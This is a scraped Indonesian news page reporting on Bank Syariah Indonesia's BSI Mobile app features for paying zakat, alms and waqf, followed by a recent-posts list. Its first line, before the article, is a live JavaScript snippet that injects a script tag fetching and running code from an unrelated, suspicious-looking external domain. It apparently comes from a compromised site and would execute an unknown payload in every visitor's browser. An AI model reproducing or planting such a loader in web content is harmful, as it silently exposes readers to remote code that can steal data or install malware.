(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Pembayaran dan Pengelolaan Ziswaf Makin Mudah dengan BSI Mobile, Begini Penjelasannya


KANALKALIMANTAN.COM, BANJARMASIN – Bank Syariah Indonesia (BSI) menyiapkan aplikasi guna mendukung optimalisasi pengelolaan zakat, infak, dan sedekah serta wakaf yang terintegrasi dalam BSI Mobile. Bankir BSI Affan Mawardi mengatakan bahwa aplikasi BSI Mobile menjadi jawaban bagi kebutuhan nasabah yang harus menjaga jarak selama pandemi.

“Karena ada empati yang muncul untuk menumbuhkan kepedulian terhadap sesama. Nasabah yang ingin berzakat dapat dengan mudah menggunakan aplikasi BSI Mobile,” ujar Affan dalam keterangannya yang diterima, Senin (9/8/2021).

Dalam menu Sharing-Ziswaf, nasabah BSI dapat dengan mudah memberikan zakat, infak, dan sedekah serta wakaf nya kepada mereka yang memerlukan. BSI juga bekerja sama dengan sejumlah amil atau lembaga penyalur zakat, seperti Laznas BSM Umat, Dompet Dhuafa, Rumah Zakat hingga Baznas yang notabene dibentuk oleh pemerintah.

Adapula, program sedekah yang disalurkan melalui Warteg Mobile, Jadiberkah.id, dan Kitabisa. Nasabah juga dapat membayar fidyah langsung dari aplikasi BSI Mobile.

“Paling penting, saat pandemi seperti ini, ada juga donasi untuk Covid-19 yang diberikan dalam bentuk uang untuk penyediaan swab, paket lengkap isolasi mandiri, hingga membantu pasokan oksigen. Nantinya, BSI bersama dengan lembaga yang ditunjuk akan menyalurkan bantuan ini kepada mereka yang memerlukan,” tambah Area Head Kalimantan Timur dan Utara (Kaltimra) BSI ini.

Sementara itu Direktur Utama BSI Hery Gunardi mengatakan BSI bersinergi dengan Baznas untuk mengoptimalkan potensi manfaat zakat, infak dan sedekah (ZIS) di Indonesia.

“Beberapa strategi dan program akan disusun agar target pengumpulan zakat segera tersalurkan. Selain pembentukan UPZ, juga pemanfaatan platform digital BSI Mobile melalui fitur pembayaran zakat, sinergi kerjasama pembukaan counter Baznas di daerah, kolaborasi fitur smart donation, serta menjalankan ekosistem dan literasi zakat,” ucap Hery.

Berdasarkan data Baznas, per 2020 lalu total dana ZISWAF yang terkumpul diperkirakan mencapai Rp12,5 triliun, tumbuh dari jumlah per 2019 yang ada di posisi Rp10,6 triliun. Tahun ini, jumlahnya diestimasi bisa naik hingga Rp19,77 triliun. Meski pengumpulannya terus meningkat setiap tahun, namun jumlah ZISWAF yang terakumulasi itu belum seberapa dibanding potensinya yang mencapai Rp327,6 triliun.

Dengan adanya UPZ PT Bank Syariah Indonesia Tbk ini tentu menjadi spirit dan kolaborasi aktif bagi seluruh pihak yang ingin menyalurkan ZIS kepada lembaga resmi secara transparan dan amanah yang telah ditunjuk oleh Baznas.

Hingga Desember 2020, penyaluran ZIS UPZ BSI mencapai Rp147 miliar yang sudah disalurkan dalam berbagai program pemberdayaan ekonomi, kesehatan, pangan, sosial kemanusiaan di seluruh Indonesia. Harapannya dengan semakin kuatnya legalitas UPZ BSI sebagai mitra Baznas, masyarakat dapat memilih UPZ BSI sebagai mitra penyaluran zakatnya.

Hery menambahkan, sebagai bagian dari lembaga keuangan syariah, peran Bank Syariah Indonesia sebagai lembaga keuangan syariah tentu harus sejalan dengan visi syariah yakni mensejahterakan ekonomi umat melalui berbagai instrumen syariah salah satunya adalah penguatan ekosistem ZIS. BSI berkolaborasi dengan Baznas untuk mengumpulkan zakat secara transparan dan masyarakat dapat mengakses informasi terkini di situs UPZ BSI.

Peran penting lainnya adalah bahwa zakat harus dipopulerkan di kalangan milenial yang sudah berpenghasilan tetap, dimana ada sebagian rezeki kalangan milenial yang menjadi hak para mustahik yang wajib disalurkan. Dengan adanya BSI Mobile harapannya masyarakat lebih mudah menunaikan ZIS dimanapun dan kapanpun.

Per Maret lalu, ada sekitar Rp3,26 miliar dana ZISWAF yang terkumpul melalui aplikasi BSI Mobile. Jumlah sumbangan ini berasal dari 99 ribu donatur, yang total transaksinya mencapai 303 ribu pada periode tersebut. (Kanalkalimantan.com/ril)


Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.